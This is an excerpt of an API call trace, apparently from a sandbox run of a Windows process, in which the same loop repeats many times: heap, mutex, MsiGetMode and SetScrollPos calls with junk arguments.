	[0095.233] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.234] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.234] GetCurrentProcessId () returned 0xb50
	[0095.234] GetLastError () returned 0x578
	[0095.234] GetLastError () returned 0x578
	[0095.234] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.234] GetLastError () returned 0x0
	[0095.234] ReleaseMutex (hMutex=0x360) returned 1
	[0095.234] CloseHandle (hObject=0x360) returned 1
	[0095.234] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=122855374, bRedraw=1) returned 0
	[0095.234] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.234] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.234] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.234] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.234] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.234] GetCurrentProcessId () returned 0xb50
	[0095.234] GetLastError () returned 0x578
	[0095.234] GetLastError () returned 0x578
	[0095.235] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.235] GetLastError () returned 0x0
	[0095.235] ReleaseMutex (hMutex=0x360) returned 1
	[0095.235] CloseHandle (hObject=0x360) returned 1
	[0095.235] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-837527172, bRedraw=1) returned 0
	[0095.235] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.235] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.235] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.235] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.235] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.235] GetCurrentProcessId () returned 0xb50
	[0095.235] GetLastError () returned 0x578
	[0095.235] GetLastError () returned 0x578
	[0095.235] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.235] GetLastError () returned 0x0
	[0095.235] ReleaseMutex (hMutex=0x360) returned 1
	[0095.235] CloseHandle (hObject=0x360) returned 1
	[0095.235] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1788279766, bRedraw=1) returned 0
	[0095.236] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.236] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.236] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.236] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.236] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.236] GetCurrentProcessId () returned 0xb50
	[0095.236] GetLastError () returned 0x578
	[0095.236] GetLastError () returned 0x578
	[0095.236] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.236] GetLastError () returned 0x0
	[0095.236] ReleaseMutex (hMutex=0x360) returned 1
	[0095.236] CloseHandle (hObject=0x360) returned 1
	[0095.236] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1565564888, bRedraw=1) returned 0
	[0095.236] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.236] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.236] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.237] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.237] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.237] GetCurrentProcessId () returned 0xb50
	[0095.237] GetLastError () returned 0x578
	[0095.237] GetLastError () returned 0x578
	[0095.237] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.237] GetLastError () returned 0x0
	[0095.237] ReleaseMutex (hMutex=0x360) returned 1
	[0095.237] CloseHandle (hObject=0x360) returned 1
	[0095.237] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=634072198, bRedraw=1) returned 0
	[0095.237] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.237] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.237] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.237] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.237] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.237] GetCurrentProcessId () returned 0xb50
	[0095.237] GetLastError () returned 0x578
	[0095.237] GetLastError () returned 0x578
	[0095.238] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.238] GetLastError () returned 0x0
	[0095.238] ReleaseMutex (hMutex=0x360) returned 1
	[0095.238] CloseHandle (hObject=0x360) returned 1
	[0095.238] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-287790540, bRedraw=1) returned 0
	[0095.238] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.238] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.238] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.238] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.238] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.238] GetCurrentProcessId () returned 0xb50
	[0095.238] GetLastError () returned 0x578
	[0095.238] GetLastError () returned 0x578
	[0095.238] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.238] GetLastError () returned 0x0
	[0095.238] ReleaseMutex (hMutex=0x360) returned 1
	[0095.238] CloseHandle (hObject=0x360) returned 1
	[0095.238] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1200023326, bRedraw=1) returned 0
	[0095.239] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.239] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.239] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.239] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.239] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.239] GetCurrentProcessId () returned 0xb50
	[0095.239] GetLastError () returned 0x578
	[0095.239] GetLastError () returned 0x578
	[0095.239] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.239] GetLastError () returned 0x0
	[0095.239] ReleaseMutex (hMutex=0x360) returned 1
	[0095.239] CloseHandle (hObject=0x360) returned 1
	[0095.239] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2102626160, bRedraw=1) returned 0
	[0095.239] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.239] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.239] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.240] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.240] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.240] GetCurrentProcessId () returned 0xb50
	[0095.240] GetLastError () returned 0x578
	[0095.240] GetLastError () returned 0x578
	[0095.240] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.240] GetLastError () returned 0x0
	[0095.240] ReleaseMutex (hMutex=0x360) returned 1
	[0095.240] CloseHandle (hObject=0x360) returned 1
	[0095.240] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1299368254, bRedraw=1) returned 0
	[0095.240] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.240] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.240] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.240] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.240] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.240] GetCurrentProcessId () returned 0xb50
	[0095.240] GetLastError () returned 0x578
	[0095.240] GetLastError () returned 0x578
	[0095.241] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.241] GetLastError () returned 0x0
	[0095.241] ReleaseMutex (hMutex=0x360) returned 1
	[0095.241] CloseHandle (hObject=0x360) returned 1
	[0095.241] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=416025324, bRedraw=1) returned 0
	[0095.241] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.241] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.241] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.241] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.241] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.241] GetCurrentProcessId () returned 0xb50
	[0095.241] GetLastError () returned 0x578
	[0095.241] GetLastError () returned 0x578
	[0095.241] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.241] GetLastError () returned 0x0
	[0095.241] ReleaseMutex (hMutex=0x360) returned 1
	[0095.241] CloseHandle (hObject=0x360) returned 1
	[0095.241] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-457687654, bRedraw=1) returned 0
	[0095.242] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.242] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.242] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.242] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.242] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.242] GetCurrentProcessId () returned 0xb50
	[0095.242] GetLastError () returned 0x578
	[0095.242] GetLastError () returned 0x578
	[0095.242] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.242] GetLastError () returned 0x0
	[0095.242] ReleaseMutex (hMutex=0x360) returned 1
	[0095.242] CloseHandle (hObject=0x360) returned 1
	[0095.242] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1321770680, bRedraw=1) returned 0
	[0095.242] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.242] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.243] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.243] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.243] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.243] GetCurrentProcessId () returned 0xb50
	[0095.243] GetLastError () returned 0x578
	[0095.243] GetLastError () returned 0x578
	[0095.243] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.243] GetLastError () returned 0x0
	[0095.243] ReleaseMutex (hMutex=0x360) returned 1
	[0095.243] CloseHandle (hObject=0x360) returned 1
	[0095.243] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2118743542, bRedraw=1) returned 0
	[0095.243] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.243] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.243] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.243] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.243] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.243] GetCurrentProcessId () returned 0xb50
	[0095.243] GetLastError () returned 0x578
	[0095.244] GetLastError () returned 0x578
	[0095.244] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.244] GetLastError () returned 0x0
	[0095.244] ReleaseMutex (hMutex=0x360) returned 1
	[0095.244] CloseHandle (hObject=0x360) returned 1
	[0095.244] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1273920420, bRedraw=1) returned 0
	[0095.244] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.244] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.244] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.244] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.244] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.244] GetCurrentProcessId () returned 0xb50
	[0095.244] GetLastError () returned 0x578
	[0095.244] GetLastError () returned 0x578
	[0095.244] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.244] GetLastError () returned 0x0
	[0095.244] ReleaseMutex (hMutex=0x360) returned 1
	[0095.244] CloseHandle (hObject=0x360) returned 1
	[0095.245] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=438727250, bRedraw=1) returned 0
	[0095.245] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.245] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.245] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.245] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.245] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.245] GetCurrentProcessId () returned 0xb50
	[0095.245] GetLastError () returned 0x578
	[0095.245] GetLastError () returned 0x578
	[0095.245] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.245] GetLastError () returned 0x0
	[0095.245] ReleaseMutex (hMutex=0x360) returned 1
	[0095.245] CloseHandle (hObject=0x360) returned 1
	[0095.245] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-386835968, bRedraw=1) returned 0
	[0095.245] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.245] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.246] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.246] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.246] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.246] GetCurrentProcessId () returned 0xb50
	[0095.246] GetLastError () returned 0x578
	[0095.246] GetLastError () returned 0x578
	[0095.246] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.377] GetLastError () returned 0x0
	[0095.377] ReleaseMutex (hMutex=0x360) returned 1
	[0095.377] CloseHandle (hObject=0x360) returned 1
	[0095.377] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1202769234, bRedraw=1) returned 0
	[0095.378] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.378] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.378] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.378] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.378] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.378] GetCurrentProcessId () returned 0xb50
	[0095.378] GetLastError () returned 0x578
	[0095.378] GetLastError () returned 0x578
	[0095.378] GetLastError () returned 0x0
	[0095.378] ReleaseMutex (hMutex=0x360) returned 1
	[0095.378] CloseHandle (hObject=0x360) returned 1
	[0095.378] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2009072548, bRedraw=1) returned 0
	[0095.378] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.378] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.379] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.379] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.379] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.379] GetCurrentProcessId () returned 0xb50
	[0095.379] GetLastError () returned 0x578
	[0095.379] GetLastError () returned 0x578
	[0095.379] GetLastError () returned 0x0
	[0095.379] ReleaseMutex (hMutex=0x360) returned 1
	[0095.379] CloseHandle (hObject=0x360) returned 1
	[0095.379] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1489221386, bRedraw=1) returned 0
	[0095.379] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.379] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.379] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.379] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.379] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.379] GetCurrentProcessId () returned 0xb50
	[0095.379] GetLastError () returned 0x578
	[0095.379] GetLastError () returned 0x578
	[0095.379] GetLastError () returned 0x0
	[0095.379] ReleaseMutex (hMutex=0x360) returned 1
	[0095.379] CloseHandle (hObject=0x360) returned 1
	[0095.379] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=702177976, bRedraw=1) returned 0
	[0095.380] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.380] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.380] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.380] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.380] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.380] GetCurrentProcessId () returned 0xb50
	[0095.380] GetLastError () returned 0x578
	[0095.380] GetLastError () returned 0x578
	[0095.380] GetLastError () returned 0x0
	[0095.380] ReleaseMutex (hMutex=0x360) returned 1
	[0095.380] CloseHandle (hObject=0x360) returned 1
	[0095.380] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-75235482, bRedraw=1) returned 0
	[0095.380] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.380] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.380] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.380] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.380] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.380] GetCurrentProcessId () returned 0xb50
	[0095.380] GetLastError () returned 0x578
	[0095.380] GetLastError () returned 0x578
	[0095.380] GetLastError () returned 0x0
	[0095.380] ReleaseMutex (hMutex=0x360) returned 1
	[0095.380] CloseHandle (hObject=0x360) returned 1
	[0095.380] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-843018988, bRedraw=1) returned 0
	[0095.381] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.381] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.381] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.381] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.381] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.381] GetCurrentProcessId () returned 0xb50
	[0095.381] GetLastError () returned 0x578
	[0095.381] GetLastError () returned 0x578
	[0095.381] GetLastError () returned 0x0
	[0095.381] ReleaseMutex (hMutex=0x360) returned 1
	[0095.381] CloseHandle (hObject=0x360) returned 1
	[0095.381] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1601172542, bRedraw=1) returned 0
	[0095.381] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.381] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.381] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.381] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.381] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.381] GetCurrentProcessId () returned 0xb50
	[0095.381] GetLastError () returned 0x578
	[0095.381] GetLastError () returned 0x578
	[0095.381] GetLastError () returned 0x0
	[0095.381] ReleaseMutex (hMutex=0x360) returned 1
	[0095.381] CloseHandle (hObject=0x360) returned 1
	[0095.382] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1945271152, bRedraw=1) returned 0
	[0095.383] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.383] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.383] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.383] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.383] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.383] GetCurrentProcessId () returned 0xb50
	[0095.383] GetLastError () returned 0x578
	[0095.383] GetLastError () returned 0x578
	[0095.383] GetLastError () returned 0x0
	[0095.383] ReleaseMutex (hMutex=0x360) returned 1
	[0095.383] CloseHandle (hObject=0x360) returned 1
	[0095.383] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1206377502, bRedraw=1) returned 0
	[0095.383] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.383] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.383] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.383] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.383] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.383] GetCurrentProcessId () returned 0xb50
	[0095.384] GetLastError () returned 0x578
	[0095.384] GetLastError () returned 0x578
	[0095.384] GetLastError () returned 0x0
	[0095.384] ReleaseMutex (hMutex=0x360) returned 1
	[0095.384] CloseHandle (hObject=0x360) returned 1
	[0095.384] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=477113804, bRedraw=1) returned 0
	[0095.384] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.384] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.384] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.384] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.384] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.384] GetCurrentProcessId () returned 0xb50
	[0095.384] GetLastError () returned 0x578
	[0095.384] GetLastError () returned 0x578
	[0095.384] GetLastError () returned 0x0
	[0095.384] ReleaseMutex (hMutex=0x360) returned 1
	[0095.384] CloseHandle (hObject=0x360) returned 1
	[0095.384] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-242519942, bRedraw=1) returned 0
	[0095.384] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.384] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.384] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.384] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.385] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.385] GetCurrentProcessId () returned 0xb50
	[0095.385] GetLastError () returned 0x578
	[0095.385] GetLastError () returned 0x578
	[0095.385] GetLastError () returned 0x0
	[0095.385] ReleaseMutex (hMutex=0x360) returned 1
	[0095.385] CloseHandle (hObject=0x360) returned 1
	[0095.385] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-952523736, bRedraw=1) returned 0
	[0095.385] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.385] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.385] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.385] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.385] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.385] GetCurrentProcessId () returned 0xb50
	[0095.385] GetLastError () returned 0x578
	[0095.385] GetLastError () returned 0x578
	[0095.385] GetLastError () returned 0x0
	[0095.385] ReleaseMutex (hMutex=0x360) returned 1
	[0095.385] CloseHandle (hObject=0x360) returned 1
	[0095.385] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1652897578, bRedraw=1) returned 0
	[0095.385] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.385] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.385] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.386] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.386] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.386] GetCurrentProcessId () returned 0xb50
	[0095.386] GetLastError () returned 0x578
	[0095.386] GetLastError () returned 0x578
	[0095.386] GetLastError () returned 0x0
	[0095.386] ReleaseMutex (hMutex=0x360) returned 1
	[0095.386] CloseHandle (hObject=0x360) returned 1
	[0095.386] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1951325828, bRedraw=1) returned 0
	[0095.386] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.386] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.386] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.386] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.386] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.386] GetCurrentProcessId () returned 0xb50
	[0095.386] GetLastError () returned 0x578
	[0095.386] GetLastError () returned 0x578
	[0095.386] GetLastError () returned 0x0
	[0095.386] ReleaseMutex (hMutex=0x360) returned 1
	[0095.386] CloseHandle (hObject=0x360) returned 1
	[0095.386] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1270211890, bRedraw=1) returned 0
	[0095.386] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.386] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.387] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
